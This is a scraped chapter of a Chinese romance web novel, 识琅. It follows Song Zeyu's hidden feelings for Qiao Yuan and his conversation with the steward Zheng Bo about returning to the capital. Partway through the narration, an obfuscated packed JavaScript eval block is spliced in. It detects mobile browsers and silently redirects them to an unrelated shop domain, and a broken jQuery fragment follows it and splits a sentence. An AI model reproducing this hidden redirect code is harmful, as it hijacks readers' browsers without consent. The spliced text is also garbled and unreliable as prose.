文趣网 > 其他小说 > 识琅 > 12. 泽玉
    “泽玉。”

    宋泽玉身形兀地一震,喉头微动。

    他眼眸稍沉,半边身形混在天光里,教人辨不明晰。

    哪怕刻意去敛眉收颌,依旧赶不掉后腰酥麻,无数骨头被烙下情窦似的,肌肤也接连生出细密的颤栗,眼角更是缀着一尾薄红,将溢不溢。

    明明多情痣,却缚一人心。

    宋泽玉不习惯这般感觉。

    怪异的,令人沉迷的,由她而起的。

    意识到乔鸢仍在身后,宋泽玉当即紧绷直脊,将站姿端方了些。他双手不自觉抬至腰间,游龙般摸来摸去。

    糟糕,今日因是来这外书房,忘记带折扇了......

    乔鸢见许久未得回应,拿捏不准宋泽玉葫芦里又要卖什么药。等着不如主动试试,乔鸢踏着小碎步,鼓足勇气去看宋泽玉情态。

    谁知宋泽玉反应极大,偏过头去!

    足足、九十度!

    “......你刚,说的什么。”宋泽玉闷声道。

    这一问让乔鸢一怔,随后又恼又羞,忿忿跺脚:“你这人,怎么不听我说话?”

    费了这么大劲,甚至带点牺牲意味,岂不是白白讨好,收益全无?

    可这宋泽玉,依旧是只甩头,目光落去院外,一个字不愿多说的模样。

    乔鸢昂首,握紧拳头,气鼓鼓地:“看、着、我!”

    “干、什、么。”宋泽玉咬牙切齿地回着话,却还是慢慢地把头摆正,视线也轻柔地下挪,落在乔鸢面上。

    粉腮微鼓,凤眼生辉。

    就连三两薄嗔,也媚态天成,令日光沉醉。

    ......好美。

    再次意识到自己所思所想的宋泽玉终于认输。他不耐地合上双眼,紧紧皱眉,内心默念起“乔鸢不可信”、“她别有目的”诸如此类的话语,试图从中舒缓情绪。

    当然。

    没用。

    闭上眼之后,情况反而更糟糕了。各色各样的乔鸢都浮现在他眼前,尤其是近日匆匆几面的。他看她清减不少,多次吩咐灶房多熬制些汤羹,结果冬灵每次回禀都是乔娘子一口未用。

    是实在没胃口,还是不想借他的人情?

    他们之间,一定要一五一十地,算得这么清楚吗?

    ......早知道不戳破她还好了,那会儿的乔鸢可不这样。

    宋泽玉愈想,愈发郁闷,而乔鸢刚好在眼前,他抬起手,想放在她头顶上,爱惜地揉一揉。

    乔鸢是生他气也好,是忧愁旁的事也好,虽然完全不知道她的用心,可好好吃饭,算是天底下的大事。

    不必太辛苦。宋泽玉垂着眼,心中默念。

    “宋泽玉,接风宴你是真不给我办了?”

    宋泽玉的手原本刚好悬在乔鸢脸颊一侧。过了一会儿,它自然地缩回了衣袖里。

    “七月罢,我同郑伯说声。”

    宋泽玉一锤定音,听不出喜怒。

    未等乔鸢发话,他便先行离去。

    乔鸢在原地怔了一会儿,望向宋泽玉堪称是落荒而逃的背影,眼前又闪过宋泽玉那通红的耳根。

    其实这是乔鸢第一次见宋泽玉如此失态。

    她原本只是觉得宋泽玉举止古怪,却在羞恼间迎来了少年郎近乎写明心事的答案。

    两心之间,原是彼此在意。

    有此证据,乔鸢不知为何心头十分欢欣,音调也变得甜蜜,笑意止不住往外翘。

    再故意去问这接风宴之事,就或多或少存了些私心,也有一丁点儿在担心宋泽玉是不是不愿认她这位定亲娘子。

    好在,他愿意。

    只是宋泽玉结尾的态度让她很不明了,乔鸢捧着两颊,喃喃自语道:“我又说什么讨他不快了?”

    -

    宋泽玉踏入账房时,已是日暮西沉,下人们正互相帮衬着收尾。

    郑伯手持一把算盘,窝在柜台后的竹椅上。他斜前方是一本厚厚的“宋府”账簿。那簿子的最新一页,墨迹尚未干,隐有栀子花香弥散在空中。

    数十年如一日,郑伯都于此,操持着宋府大事小事、人情往来。

    宋泽玉见郑伯眉间有倦色,不急着打搅郑伯小憩。

    “公子来啦。”宋泽玉的脚步声,郑伯最为熟悉。他睁眼,笑呵呵地,“我先前猜,今日你要来寻我一回,果真不假。”

    宋泽玉也笑:“都说郑伯料事如神,我看不假。今次是为何?”

    郑伯观察着宋泽玉面色,请他来柜后歇息:“乔娘子来寻过我,说是有要事同公子说。”

    宋泽玉自然不认为是郑伯告知了外书房之地,只沉吟道:“她来得不巧,可能听见都承盘声响了,也可能没听见。我说不好。”

    “听见又何妨?乔娘子于公子,不是挚友么?”郑伯佯作疑惑,明知故问。

    宋泽玉难得被揶揄的吐不出半个字,环顾周围不少下人都竖起耳朵旁听,不争馒头争口气,刻意强调道:“确实只是好友。”

    可此话一出,宋泽玉不免思及方才同乔鸢的种种,面色渐渐泛红,眼神撇至天花板。

    郑伯摆摆手,示意众人可以收工,下去歇息了。

    多年相处,不仅知根知底,更是患难与共,宋泽玉早将郑伯视作亲父。此刻侍者退去,账房内只有他二人,宋泽玉毫不犹豫地把那假盈盈的狐狸笑给卸了,换上一副苦思模样。

    郑伯了然般看向宋泽玉,点点头:“看来,乔娘子是原谅你了,倒是你,过不了心里那关。”

    “哪里话!”宋泽玉不认,“既然乔鸢不否认她别有用心,我自然要提防,不可能与她赤诚。”

    “再说了,郑伯,明明是我被利用,你怎么站她那边呢?”宋泽玉后话,就如同孩童般赌气了。

    郑伯只微合双目,笑而不语。

    半晌,宋泽玉低声问:“如果就这样下去,是不是不好?”

    “我有时......竟想着,不必过问她的目的,只要她能留在岫州,留在我身边就好。她只要能站在我身侧,我前所未有的安心。”

    “好或不好,公子心里当比我有数。”郑伯道,“许多年前,公子也有过这么一问。如今公子觉得如何呢?”

    宋泽玉眼眸晦暗不明,终是摇头:“彼时,也没有什么路能够让我们选。”

    郑伯欣慰地望着宋泽玉。

    “经年如此,当下亦是。公子以为能游说乔娘子在身侧,可这选择权,从来不在公子身上。只要乔娘子母族不愿松口,这门亲事就如同镜花水月。”

    “泽玉。你愿或不愿,都不重要;这到头来,还是一场空。”

    郑伯似是想起不少旧事,眼神已然从宽慰转向心疼。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868167|212004||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这位他一手带大的少年,在世事变迁、千锤百炼、虚与委蛇中,放下了对圆满结果的执念,却还是放不下渴求。

    “况且,你是心安,还是情动,你问过自己吗?可别耽误乔娘子。”郑伯又道。

    “郑伯。我是说如果,倘若,或许,”宋泽玉沉默片刻,才试探地问,“我只上京一次呢?不去宋府,只去——”

    郑伯的神情当即严肃起来,语气也格外严厉:“宋泽玉,你别忘记自己什么身份!”

    “近二十年,宋府对你可曾有过关照?若非是那块祖玉,别说你能开蒙教化、提笔习字,你真能活至今日吗?”

    “你明明连一块玉都不如,怎么还想不通呢?”见宋泽玉低下头,郑伯也觉得自己有点发作过头,缓和了语气,可仍旧语重心长,“不要去揣摩那位老夫人的意思,咱们冒不得险。老夫人早不请,晚不请,唯独从十七年开始请你归京,定是发生了什么事,难说是不是发现了什么。岫州还有两年安稳待得,冠礼在岫州办也作得......”

    宋泽玉不置可否,剑眉间竟添几分凄凉,似是很不甘心地问:“郑伯。我们要躲一辈子么?”

    郑伯重重地叹了口气,欲言又止。

    两人陷入沉寂,夕阳也贴着门边,慢慢坠落。

    天地广阔无边,人于岫州自囚。

    一时之间,宋泽玉也感到疲倦,合上眼假寐。

    他刚才好似是有些疯癫了。

    竟莫名生了为乔鸢去京州的心思。

    他不该如此的。京州于他而言,从来不是认祖归宗的“根”,而是有去无回的“毒”。

    宋泽玉一直都很清醒,清醒自己的几斤几两,清醒自己的命薄如纸,清醒自己人不如玉。

    直到乔鸢出现。

    一切都太巧了,巧到宋泽玉都想为老夫人的美人计拍手叫绝——不论是乔氏无心插柳柳成荫,还是老夫人真心百般甄选过。

    乔鸢就是天时地利人和里的“人和”,让宋泽玉感受到红线正在一点一点地缠紧他们彼此。

    她总会向他走来,像无数次午夜梦回的那样。不论他是在试探,是在抗拒,乔鸢都会在那里,一直望着他、陪着他。

    更何况,乔鸢惯来聪明,身上还有不少谜团,让宋泽玉既欣赏,又好奇,更不甘心就这样放走她。

    留在岫州,乔鸢。

    留在岫州,乔鸢......

    泽玉,泽玉。

    宋泽玉脑海里,又回荡起那两个字。

    甜糯一样的嗓音,缠绵着,翻滚着,引领宋泽玉回到长青坊赌局前夜。

    彼时,宋泽玉盯着乔鸢夜挑油灯翻阅古玩典籍的行径很是不解,还以为是乔鸢小家子气,很无所谓地道:“左不过三万两,是奢靡了些,可宋府出的起,你何须这般费力?”

    乔鸢抬目,目光清亮锐利,随后抿嘴一笑。

    她说:“不想让你输,不可以么?”

    烛芯噼啪一声。

    火光微颤,宋泽玉也跟着跌入梦境。

    “郑伯,我就这般纵许她接近我......”宋泽玉哑声喃喃着,“我不怪她......”

    “可是,她会捧出她的真心吗?”

    郑伯给宋泽玉披上寝衣,轻声回应:“会的。”

    得到肯定答复的宋泽玉,竟就此沉沉睡去。